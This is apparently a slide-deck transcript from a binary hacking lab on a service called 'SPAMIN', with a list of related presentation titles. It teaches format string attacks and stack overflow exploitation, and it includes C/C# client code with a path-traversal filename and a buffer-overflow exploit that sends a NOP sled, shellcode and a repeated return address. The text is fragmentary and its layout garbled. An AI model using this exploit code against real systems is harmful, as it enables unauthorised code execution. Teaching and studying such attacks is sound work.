SPAMIN Binary Hacking. Tools IDA + Hex Rays hexeditor WinSCP Putty telnet Visual Studio Wireshark (Optional)

Slides:



Advertisements
Similar presentations
Network Programming Week #1 J.P. Yoo
Advertisements

Socket Programming 101 Vivek Ramachandran.
Hacking: The Art of Exploitation
The art of exploitation
Elementary TCP Sockets Computer Networks Computer Networks Term B10 UNIX Network Programming Vol. 1, Second Ed. Stevens Chapter 4.
Jieun Song Port-Binding & Connect-Back Shellcode.
Quick Overview. 2 ISO/OSI Reference Model Application Application Presentation Presentation Session Session Transport Transport Network Network Data Link.
1 Netcomm Recitation 1: Sockets Communication Networks Recitation 1.
Windows Sockets Purpose Windows Sockets 2 (Winsock) enables programmers to create advanced internet, intranet, and other network-capable applications to.
1 Pertemuan 10 Non Blocking Matakuliah: H0483 / Network Programming Tahun: 2005 Versi: 1.0.
Tutorial 8 Socket Programming
Client Server Model The client machine (or the client process) makes the request for some resource or service, and the server machine (the server process)
Data Communications and Networking COMP 2330 Laboratory 5 Mr. Kaiyong Zhao Please sign your name with your attendance.
TCP/IP Sockets in C: Practical Guide for Programmers Michael J. Donahoo Kenneth L. Calvert.
ISP – 9 th Recitation Socket programming – Client side.
TCP Socket Programming. r An abstract interface provided to the application programmer  File descriptor, allows apps to read/write to the network r Allows.
1 Socket Programming A crash-course in network programming…
September 22, 2014 Pengju (Jimmy) Jin Section E
CS 360 – Spring 2007 Pacific University TCP section 6.5 (Read this section!) 27 Feb 2007.
1 Tutorial on Socket Programming Computer Networks - CSC 458 Department of Computer Science Yukun Zhu (Slides are mainly from Monia Ghobadi, and Amin Tootoonchian,
Client Software Design Objectives: Understand principles of C/S design, with focus on clients Review Windows implementations of Socket functions.
University of Washington CSE 351 : The Hardware/Software Interface Section 5 Structs as parameters, buffer overflows, and lab 3.
TCP Socket Programming. r An abstract interface provided to the application programmer  File descriptor, allows apps to read/write to the network r Allows.
TCP/IP Protocol Stack IP Device Drivers TCPUDP Application Sockets (Gate to network) TCP: –Establish connection –Maintain connection during the communication.
Assignment 3 A Client/Server Application: Chatroom.
CS345 Operating Systems Φροντιστήριο Άσκησης 2. Inter-process communication Exchange data among processes Methods –Signal –Pipe –Sockets.
Sirak Kaewjamnong Computer Network Systems
Server Sockets: A server socket listens on a given port Many different clients may be connecting to that port Ideally, you would like a separate file descriptor.
1 Writing Network Applications using the TCP/IP Protocol Stack: Socket Programming.
CNIT 127: Exploit Development Ch 4: Introduction to Format String Bugs.
File IO and command line input CSE 2451 Rong Shi.
The Pocket Guide to TCP/IP Sockets: C Version Michael J. Donahoo Kenneth L. Calvert.
Networking Tutorial Special Interest Group for Software Engineering Luke Rajlich.
CNIT 127: Exploit Development Ch 3: Shellcode. Topics Protection rings Syscalls Shellcode nasm Assembler ld GNU Linker objdump to see contents of object.
University of Calgary – CPSC 441.  A socket is an interface between the application and the network (the lower levels of the protocol stack)  The application.
Elementary TCP Sockets UNIX Network Programming Vol. 1, Second Ed. Stevens Chapter 4.
Socket Programming Tutorial Department of Computer Science Southern Illinois University Edwardsville Fall, 2015 Dr. Hiroshi Fujinoki
Socket Programming Lab 1 1CS Computer Networks.
Project 2: Socket Programming. Overview Sockets Working with sockets Client-Server example Project 1 Hints.
Sockets Socket = abstraction of the port concept: –Application programs request that the operating system create a socket when one is needed –O.S. returns.
CS3212 計算機網路概論 Winsock Tutorial. Dev C++ environment setting Download Dev-C++ from
CSCI 330 UNIX and Network Programming Unit XV: Transmission Control Protocol.
Intro to Socket Programming CS 360. Page 2 CS 360, WSU Vancouver Two views: Server vs. Client Servers LISTEN for a connection and respond when one is.
EXPLOITATION CRASH COURSE – FALL 2013 UTD Computer Security Group – Andrew Folloder csg.utdallas.edu (credit: Scott Hand)
1 TCP Sockets Programming Creating a passive mode (server) socket.Creating a passive mode (server) socket. Establishing an application-level connection.Establishing.
ROP Exploit. ROP Return Oriented Programming (ROP): is a hacking exploit technique where you exploit buffer overflow to inject a chain of gadgets. Each.
Socket Programming in C CS587x Lecture 3 Department of Computer Science Iowa State University.
1 Socket Interface. 2 Client-Server Architecture The client is the one who speaks first Typical client-server situations  Client and server on the same.
Socket Programming(1/2). Outline  1. Introduction to Network Programming  2. Network Architecture – Client/Server Model  3. TCP Socket Programming.
1 Socket Interface. 2 Basic Sockets API Review Socket Library TCPUDP IP EthernetPPP ARP DHCP, Mail, WWW, TELNET, FTP... Network cardCom Layer 4 / Transport.
Exploiting & Defense Day 1 Recap
Assignment 3 A Client/Server Application: Chatroom
Jim Fawcett CSE 681 – Software Modeling & Analysis Fall 2002
Part 2 Socket Programming UDP.
Socket Programming (Cont.)
Jim Fawcett CSE 687-OnLine – Object Oriented Design Summer 2017
The Pocket Guide to TCP/IP Sockets: C Version
Jim Fawcett CSE 775 – Distributed Objects Spring 2007
TCP/IP Sockets in C: Practical Guide for Programmers
Socket Programming in C
UNIX Sockets Outline Homework #1 posted by end of day
Lecture 13 Input/Output Files.
TCP/IP Sockets in C: Practical Guide for Programmers
TCP Sockets Programming
TCP/IP Sockets in C: Practical Guide for Programmers
Chapter 3 Socket API © Bobby Hoggard, Department of Computer Science, East Carolina University These slides may not be used or duplicated without permission.
Socket Programming(1/2)
TCP/IP Sockets in C: Practical Guide for Programmers
Jim Fawcett CSE 681 – Software Modeling & Analysis Summer 2003
Presentation transcript:

SPAMIN Binary Hacking

Tools IDA + Hex Rays hexeditor WinSCP Putty telnet Visual Studio Wireshark (Optional)

Do not pirate rays.com/idapro/hallofshame.html

Begin Demo SSH into and browse service netstat –anp telnet observe attempt exploit – optional reverse engineer exploit more patch

printf format string attack int printf(const char *format,...); printf(“%s”, str1); printf(“%s, %x, %x, %x”, str1, x, y, z); 3 “%x %x %x” 1 2 printf(“%x %x %x”,1,2,3); gets(str1); printf(str1); %n The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted

C# TcpClient client = new TcpClient(" ", 8008); StreamWriter streamWriter = new StreamWriter(client.GetStream()); streamWriter.Write("SPAM-IN-SPAM-OUT\n"); streamWriter.Write("../public_html/fun.php \n"); streamWriter.Write(" \n"); streamWriter.Flush();

format file contents filename x2000x200 0x2000x200 0x2000x200 0x62C0x62C 0xbffff178 … 0xbfffffff stuff

Gets Shell Code secure.com/endymion/shellcodes/archive/linux -x86-mkdir1.c secure.com/endymion/shellcodes/archive/linux -x86-mkdir1.c NOP Shell Code RA bufferbuffer

#include int sock; /* Socket descriptor */ struct sockaddr_in mySockAddr; /* server address */ WSADATA wsaData; /* Structure for WinSock setup communication */ if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0) /* Load Winsock 2.0 DLL */ { fprintf(stderr, "WSAStartup() failed"); exit(1); } sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); memset(&mySockAddr, 0, sizeof(mySockAddr)); mySockAddr.sin_family = AF_INET; mySockAddr.sin_addr.s_addr = inet_addr(" "); mySockAddr.sin_port = htons(8008); connect(sock, (struct sockaddr *) &mySockAddr, sizeof(mySockAddr)); send(sock,pass,17,0);

C# != C

unsigned __int8 isStringLess; // unsigned __int8 isStringEqual; // signed int v4; // int spamString2; // char *userInput1; // int result; // char v8; // [sp-10h] char v9; // [sp+0h] char *v10; // [sp+Ch] int v11; // [sp+10h] int spamString1; // [sp+14h] char *v13; // [sp+18h] __int16 v14; // [sp+1Ch] char format; // [sp+28h] char filedata; // [sp+228h] char filename; // [sp+428h] int v18; // [sp+628h] FILE *stream; // [sp+62Ch] format file contents filename Other Local Function Variable x2000x200 0x2000x200 0x2000x200 0x62C0x62C Save Register (Prologue) ebp RA 3 Save Register (Prologue) ebp Save Registers 0xbffffb … 0xbfffffff printf parameters RA process messageprocess message mainmain nop shellcode RA (repeated) printfprintf “%x %x %x” 1 2 printf(“%x %x %x”,1,2,3);

C# attack fork -- remote gdbserver gdb./spamin PID x /1000w 0xbfffffff – use offset found in printf attack gdbserver demo

int sock; /* Socket descriptor */ struct sockaddr_in mySockAddr; /* Echo server address */ char *pass = "SPAM-IN-SPAM-OUT\n"; char payload [2500]; WSADATA wsaData; /* Structure for WinSock setup communication */ if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0) /* Load Winsock 2.0 DLL */ { fprintf(stderr, "WSAStartup() failed"); exit(1); } sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); memset(&mySockAddr, 0, sizeof(mySockAddr)); mySockAddr.sin_family = AF_INET; mySockAddr.sin_addr.s_addr = inet_addr(" "); mySockAddr.sin_port = htons(8008); connect(sock, (struct sockaddr *) &mySockAddr, sizeof(mySockAddr)); int nopLength = 300; int length = 700; memset(payload, '\x90', nopLength); // Create the nop sled in the payload memcpy(&payload[nopLength],sc,sizeof(sc)); // Copy the shellcode into payload for (int j=0; j < 1500; j+= 4) // Copy the RA into the payload { int r = nopLength + sizeof(sc) -1; memcpy(&payload[r+j], "\x20\xfb\xff\xbf", 4); } payload[length-1] = '\n'; send(sock,pass,17,0); send(sock, payload, length, 0); send(sock,pass,17,0);